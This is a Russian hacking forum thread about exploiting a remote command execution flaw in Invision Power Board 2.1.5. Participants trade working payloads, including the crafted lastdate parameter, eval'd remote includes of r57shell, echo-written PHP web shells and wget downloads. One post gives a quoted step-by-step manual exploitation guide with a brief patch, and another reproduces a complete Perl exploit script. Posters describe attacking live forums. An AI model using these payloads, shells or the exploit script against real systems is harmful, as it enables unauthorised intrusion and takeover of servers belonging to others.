Добавил &lastdate=z|eval.*?%20//)%23e%00 и появилась вверху такая надпись: Code: IPB WARNING [2] include() [function.include]: URL file-access is disabled in the server configuration (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code) IPB WARNING [2] include(http://rst.void.ru/download/r57shell.txt) [function.include]: failed to open stream: no suitable wrapper could be found (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code) IPB WARNING [2] include() [function.include]: Failed opening 'http://rst.void.ru/download/r57shell.txt' for inclusion (include_path='.:/opt/php/lib/php:/home/users/e/evsu/incs') (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code) На локалке всё прошло на ура, а вот уже в инете так.
Да сейчас много где это идет на ура (мега респект автару) но то что мне действительно нодо не кактит...
Запрещено использование include попробуйте с помощью php фаила, приложенного в архиве закодить что-нибудь наподобии. $file=join("",file("http://rst.void.ru/download/r57shell.txt")); eval($file); и его заслать
Обсуждение скульника тут http://forum.antichat.ru/thread18495.html XSS тут http://forum.antichat.ru/thread17358.html
Не знаю почему, но на форуме lineageii.ru, у меня не выполняются никакие команды, ни под винду, ни под линукс. Хотя тема создаётся... Если делаю ручками, то тож не пашет. Кстати часто на форумах сплойт не воспроизводит команды, а ручками всё работает. Может это из-за того что я не правил сплойт... И ещё: когда я постю сообщение, например Code: eval(system(ls)); //' то при поиске выдаёт файлы, лежащие на сервере, а когда например: Code: eval(system(ls -la)); //' то мне выдаётся: IPB WARNING [2] system(): Cannot execute a blank command (Line: 1 of /sources/search.php(1236) : regexp code) Почему так?
я нашол форум ломаемы.... но он на винде... там пашет dir, md и т.д. как можно закачать шелл или скачать сонфиг... бо не получаеться! =(
Шелл примерно так. Узнай путь и напиши выполни. echo "<? include($xxx); ?>" > c:\xxx2.txt причем файл создаться с ковычками, но они не должны повлиять на код. Или как показано в http://video.antichat.ru/file196.html через ФТП команды. а линуксовская команда CAT равнозначна мелкомягкой TYPE (type c:\xxx2.txt)
а если сервак на linux, echo ведь прокатит? вот такой код echo "<? system($_GET['c']) ?> " > ./shell.php запишет в shell.php строку с system? а то у меня не получается. и еще как то странно себя ведет wget я делаю cd ./uploads/; wget _http://serv/shell.php; вроде бы записывает в файл, файл появляеться. но когда его запускаю, он показывает файлы с моего сервера... что делать?
Статейка в тему, думаю полезно будет... Code: Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board. Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости. Давайте обратим внимание на эту строку (#95) $text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112). chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105). chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)’. ‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116). chr(120).chr(116))); //’; Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка http://rst.void.ru/r57ipbinc.txt А вот и содержание этого текстового файла: <? /* r57ipbce exploit include file */ passthru($_GET[’eharniy_ekibastos’]); ?> То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно. Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно). Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения. Создаем сообщение, содержащее текст: eval(phpinfo()); // Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку: &lastdate=z|eval.*?%20//)%23e%00 Адресная строка браузера должна иметь приблизительно такой вид: http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00 Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP. Но нам нужен шелл. Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру. Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды. Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение: this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output ); Которое заменяем на: $this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output ); Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer. P.S. Ни я, ни кто другой не несут ответственности за применение этой информации. © not null | Security Bunker Team
Сори за то, что немного не по теме, но никто не юзал? Code: #!/usr/bin/perl # Wed Apr 26 16:44:15 CEST 2006 jolascoaga (at) 514 (dot) es [email concealed] # # INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept # # remote command execution. vuln credits goes to IceShaman. # # works only if you have perms to post a comment. Exploit with replye is # in my TODO... # # 514 still r0xing. # !dSR the hardc0re hax0rs ;) # There is no kwel comments in this release, wait for next upgrade #######################################################################/ use LWP::UserAgent; use HTTP::Cookies; use LWP::Simple; use HTTP::Request::Common "POST"; use HTTP::Response; use Getopt::Long; use strict; $| = 1; # ;1 = |$ my ($proxy,$proxy_user,$proxy_pass,$lang); my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var); my ($md5_key, $post_key, $tmp_var); my %lang_es = ( 'name' => 'Spanish Language', 'login' => "Ahora estas identificado", 'incorrect' => "Nombre de usuario o contrasena incorrectos", 'deleted' => "Tema Eliminado" ); my %lang_en = ( 'name' => 'English language', 'login' => "You are now logged in", 'incorrect' => "Sorry, we could not find a member using those log in details", 'deleted' => 'Topic Deleted', ); my %lang_strings = (); my $ua = new LWP::UserAgent( cookie_jar=> { file => "$$.cookie" }); my $options = GetOptions ( 'host=s' => \$arg_host, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'ipb_user=s' => \$ipb_user, 'ipb_pass=s' => \$ipb_pass, 'lang=s' => \$lang, 'errors' => \$errors, 'debug' => \$debug); my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/; print "Host: $host\nForum Index: $forum_index\n" if $debug; &help unless ($host); # w0w0w0w0w0 is smarter than some one i know :D if (!$lang) { lang_autodetect(); print "Detected lang is: $lang_strings{'name'}\n" if $debug; } while (1){ print "invvy:\\> "; my $cmd = <STDIN>; &invvy($cmd); } sub invvy { chomp (my $cmd = shift); LWP::Debug::level('+') if $debug; $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!"); $ua->proxy(['http'] => $proxy) if $proxy; my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; ipb_login (); # This works with redirects enabled/disabled ipb_post(); # Post in a main forum. ipb_exec ($cmd); ipb_delete ($forum_index, $topic_index); } # guglucitos team presents: sub help { print "Syntax: ./$0 <url> [options]\n"; print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n"; print "\t--proxy (http), --proxy_user, --proxy_pass\n"; print "\t--lang=[es|en] (default: autodetect)\n"; print "\t--debug\n"; print "\t--errors\n"; print "\nExample\n"; print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n"; print "\n"; exit(1); } # sponsorized by coca-cola sub lang_autodetect { my $req = HTTP::Request->new (GET => $host."/index.php"); $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; print $req->as_string() if $debug; my $res = $ua->request($req); my $html = $res->content(); if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) { %lang_strings = %lang_es; return; } if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) { %lang_strings = %lang_en; return; } print "Unknown lang switching to default: 'english'\n"; %lang_strings = %lang_en; } # login function for 2.1.5 sub ipb_login { my $content; my $h = $host."/index.php?act=Login&CODE=01"; print $h . "\n" if $debug; my $req = POST $h,[ 'referer' => $host, 'UserName' => $ipb_user, 'PassWord' => $ipb_pass, 'CookieDate' => 1 ]; #grab these, and send to dsr! print $req->as_string() if $debug; my $res = $ua->request($req); if ($errors) { print "[+] Context: Login in\n"; print "HTTP Error code: ".$res->code()."\n"; print "HTTP Location: ".$res->header("Location")."\n"; my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s; print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n"; } if ($res->code() eq 302) { $content = redirect ($res->header("Location")); } else { $content = $res->content(); } if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) { print "Logged in\n" if $errors; } else { die "Can't log in\n"; } } sub redirect { my ($addr) = @_; my $req = HTTP::Request->new (GET => $addr); $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; print $req->as_string() if $debug; # MKSINK is r0xer my $res = $ua->request($req); my $html = $res->content(); return $html; } sub ipb_post { # This is for posting into a main index. my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index; my $req = HTTP::Request->new (GET => $h); $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; print $req->as_string() if $debug; #dirty_epic r0x++ my $res = $ua->request($req); my $html = $res->content(); ($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/; ($post_key) = $html =~ m/post_key' value='(.*?)'/; print "AUTH check: $md5_key\n" if $debug; print "POST key: $post_key\n" if $debug; $tmp_var = int(rand(31337)); my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei $h = $host."/index.php"; print $h."\n" if $debug; my $req = POST $h, [ 'st' => 0, 'act' => "Post", 's' => '', 'f' => $forum_index, 'auth_key' => $md5_key, 'removeattachid' => 0, 'MAX_FILE_SIZE' => 51200000, 'CODE' => '01', 'post_key' => $post_key, 'TopicTitle' => '514 pwned', 'TopicDesc' => '', 'poll_question' => '', 'ffont' => 0, 'fsize' => 0, 'Post' => $exploitme, 'post_htmlstatus' => 0, 'enableemo' => 'yes', 'enablesig' => 'yes', 'mod_options' => 'nowt', 'iconid' => 0, 'dosubmit' => 'Post New Topic' ]; $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; print $req->as_string() if $debug; my $res = $ua->request($req); my $html = $res->content(); print "Location: ".$res->header("Location") if $debug; ($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/; if ($errors) { print "[+] Context: Creating post\n"; print "HTTP Error code: ".$res->code()."\n"; print "HTTP Location: ".$res->header("Location")."\n"; print "Topic Index: ".$topic_index."\n"; my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s; print "- ERROR -\nFind string: none\n$error\n- ERROR -\n"; } } sub ipb_delete { my ($fid, $tid) = @_; my $req; print "Deleting Topic: $tid from forum: $fid\n" if $debug; my $h = $host."/index.php"; $req = POST $h, [ 'st' => 0, 'act' => 'mod', 'f' => $fid, 'auth_key' => $md5_key, 'CODE' => '08', 't' => $tid, 'submit' => 'Delete this topic' ]; # fuck windows automatic reboot print $req->as_string() if $debug; $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; my $res = $ua->request($req); if ($errors) { print "[+] Context: Deleting Topic\n"; print "HTTP Error code: ".$res->code()."\n"; print "HTTP Location: ".$res->header("Location")."\n"; print "Topic Index: ".$topic_index."\n"; my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s; print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n"; } # yow yow if ($res->code() eq 200) { if ($res->content() =~ /$lang_strings{'deleted'}/) { print "Topic $topic_index deleted\n" if $errors; } else { print "Maybe there was errors deleting post: $topic_index\n" if $errors; } } } # shhhhh this is hidden sub ipb_exec { my ($cmd) = @_; my $h = $host."/index.php?act=Search&CODE=01"; my $req = POST $h, [ 'keywords' => "HTTP_".$tmp_var, 'namesearch' => '', 'forums[]' => $forum_index, 'prune' => 0, 'prune_type' => 'newer', 'result_type' => 'posts', 'search_in' => 'posts', 'sort_key' => 'last_post', 'searchsubs' => '1' ]; print $req->as_string() if $debug; $ua->proxy(['http'] => $proxy) if $proxy; $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; my $res = $ua->request($req); my $html = $res->content(); my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/; print "Redirect to: $redir\n" if $errors; # don't ask if ($errors) { print "[+] Context: First search\n"; print "HTTP Error code: ".$res->code()."\n"; print "HTTP Location: ".$res->header("Location")."\n"; print "Topic Index: ".$topic_index."\n"; my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s; print "- ERROR -\nFind string: none\n$error\n- ERROR -\n"; } if ($res->code eq 302) { $redir = $res->header("Location"); } # piere - tonite is a great song my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00'); $ua->proxy(['http'] => $proxy) if $proxy; $req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL'); $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; print $req->as_string() if $debug; my $res = $ua->request($req); my $html = $res->content(); $html =~ m/STARTXPL(.*?)ENDXPL/s; print $1."\n"; # no matter with you if ($errors) { print "[+] Context: Executed\n"; print "HTTP Error code: ".$res->code()."\n"; print "HTTP Location: ".$res->header("Location")."\n"; print "Topic Index: ".$topic_index."\n"; my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s; print "- ERROR -\nFind string: none\n$error\n- ERROR -\n"; } } # be aware with la roca peoplee
Сколько можно мусолить тему? Уже и видео есть и мануалов несколько. Мануал: http://forum.antichat.ru/showpost.php?p=146231&postcount=91 Читайте топик сначала.